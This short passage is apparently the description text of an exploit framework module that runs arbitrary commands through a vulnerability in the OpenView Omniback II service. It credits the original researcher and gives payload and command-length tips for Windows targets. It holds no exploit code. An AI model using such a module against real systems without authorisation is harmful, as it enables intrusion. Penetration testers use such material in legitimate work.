                    This module uses a vulnerability in the OpenView Omniback II
                service to execute arbitrary commands. This vulnerability was
                discovered by DiGiT and his code was used as the basis for this
                module.

                For Microsoft Windows targets, due to module limitations, use the
                "unix/cmd/generic" payload and set CMD to your command. You can only
                pass a small amount of characters (4) to the command line on Windows.
